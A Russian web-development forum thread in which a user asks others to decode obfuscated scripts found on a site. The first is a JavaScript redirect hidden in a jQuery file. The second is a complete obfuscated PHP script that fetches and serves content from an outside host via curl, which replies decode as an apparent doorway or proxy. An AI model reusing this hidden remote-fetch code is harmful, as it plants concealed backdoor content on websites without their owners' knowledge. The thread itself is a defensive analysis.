Форум Сайтостроение Веб-строительство

что зашифровано

K5
На сайте с 21.07.2010
Offline
209
kgtu5
862

в jquery-скрипте в конце


[]['\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72']['\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72'](self['\x75\x6e\x65\x73\x63\x61\x70\x65']('%69%66%28%7e%6c%6f%63%61%74%69%6f%6e%2e%70%72%6f%74%6f%63%6f%6c%2e%69%6e%64%65%78%4f%66%28%27%68%74%74%70%3a%27%29%26%26%7e%6c%6f%63%61%74%69%6f%6e%2e%68%6f%73%74%2e%69%6e%64%65%78%4f%66%28%27%74%65%6d%70%6c%61%74%65%2d%68%65%6c%70%2e%63%6f%6d%27%29%29%7b%7d%65%6c%73%65%28%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%67%6f%6f%67%6c%65%2e%63%6f%6d%27%29'))()

что это или подскажите сервис где можно расшифровать...

аська 45два48499два записки на работе (http://memoryhigh.ru) помогу с сайтом, удалю вирусы, настрою впс -> отзывы ТУТ (/ru/forum/836248) и ТАМ (http://www.maultalk.com/topic140187.html) !!!всегда проверяйте данные людей, которые сами пишут вам в аську или скайп!!!
WebAlt
На сайте с 02.12.2007
Offline
266
WebAlt
#1

Как-то так: 

[]['constructor']['constructor'](self['unescape']

('if(~location.protocol.indexOf('http:')&&~location.host.indexOf('template-help.com')){}else(location.href='http://www.google.com')'))()

Hex-редактор и http://www.artlebedev.ru/tools/decoder/

K5
На сайте с 21.07.2010
Offline
209
kgtu5
#2

еще один код помогите расшифровать в php


<? $GLOBALS['_857056007_']=Array(base64_decode('Y3VybF9pb' .'ml' .'0'),base64_decode('Y3V' .'ybF9' .'zZXRvcHQ='),base64_decode('Y3' .'VybF9zZXR' .'v' .'cHQ' .'='),base64_decode('Y' .'3VybF9l' .'eGVj'),base64_decode('Y3VybF9jbG9' .'zZQ=' .'='),base64_decode('c' .'3' .'Ry' .'c' .'3Ry'),base64_decode('aG' .'Vh' .'ZGV' .'y'),base64_decode('' .'c3R' .'yc3Ry'),base64_decode('aGVhZGVy'),base64_decode('c3Ryc' .'3Ry'),base64_decode('c3Ryc' .'3R' .'y'),base64_decode('' .'a' .'G' .'VhZGVy'),base64_decode('c3Ryc' .'3Ry'),base64_decode('aG' .'V' .'hZGVy'),base64_decode('' .'aG' .'V' .'hZ' .'GVy')); ?><? function _1810743623($i){$a=Array('aWQ=','aHR0cDovL3BlYWNldHJlYXR5LndzL2JpbGwvZ3RhLw==','LmNzcw==','Q29udGVudC1UeXBlOiB0ZXh0L2NzczsgY2hhcnNldD13aW5kb3dzLTEyNTE=','LnBuZw==','Q29udGVudC1UeXBlOiBpbWFnZS9wbmc=','LmpwZw==','LmpwZWc=','Q29udGVudC1UeXBlOiBpbWFnZS9qcGVn','LmdpZg==','Q29udGVudC1UeXBlOiBpbWFnZS9naWY=','Q29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9d2luZG93cy0xMjUx');return base64_decode($a[$i]);} ?><? $_0=$_REQUEST[_1810743623(0)];$_1=$GLOBALS['_857056007_'][0]();$_2=_1810743623(1) .$_0;$GLOBALS['_857056007_'][1]($_1,CURLOPT_URL,$_2);$GLOBALS['_857056007_'][2]($_1,CURLOPT_RETURNTRANSFER,round(0+0.5+0.5));$_3=$GLOBALS['_857056007_'][3]($_1);$GLOBALS['_857056007_'][4]($_1);if($GLOBALS['_857056007_'][5]($_0,_1810743623(2))){$GLOBALS['_857056007_'][6](_1810743623(3));}elseif($GLOBALS['_857056007_'][7]($_0,_1810743623(4))){$GLOBALS['_857056007_'][8](_1810743623(5));}elseif($GLOBALS['_857056007_'][9]($_0,_1810743623(6))|| $GLOBALS['_857056007_'][10]($_0,_1810743623(7))){$GLOBALS['_857056007_'][11](_1810743623(8));}elseif($GLOBALS['_857056007_'][12]($_0,_1810743623(9))){$GLOBALS['_857056007_'][13](_1810743623(10));}else{$GLOBALS['_857056007_'][14](_1810743623(11));}echo $_3; ?>
bukachuk
На сайте с 07.09.2008
Offline
97
bukachuk
#3

Массив который Globals

Array

(

[0] => curl_init

[1] => curl_setopt

[2] => curl_setopt

[3] => curl_exec

[4] => curl_close

[5] => strstr

[6] => header

[7] => strstr

[8] => header

[9] => strstr

[10] => strstr

[11] => header

[12] => strstr

[13] => header

[14] => header

)

Массив который a в функции

1: peacetreaty(точка)ws/bill/gta/

2:.css

3:Content-Type: text/css; charset=windows-1251

4:.png

5:Content-Type: image/png

6:.jpg

7:.jpeg

8:Content-Type: image/jpeg

9:.gif

10:Content-Type: image/gif

11:Content-Type: text/html; charset=windows-1251

По сути цепляются курлом и в зависимости от картинки подставляют заголовок

Программирование PHP,Mysql (/ru/forum/934470)
Файл page.php в корне Вопрос-ответ по PHP дорвей-кодингу Посоветуйте что сможете новичку)

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий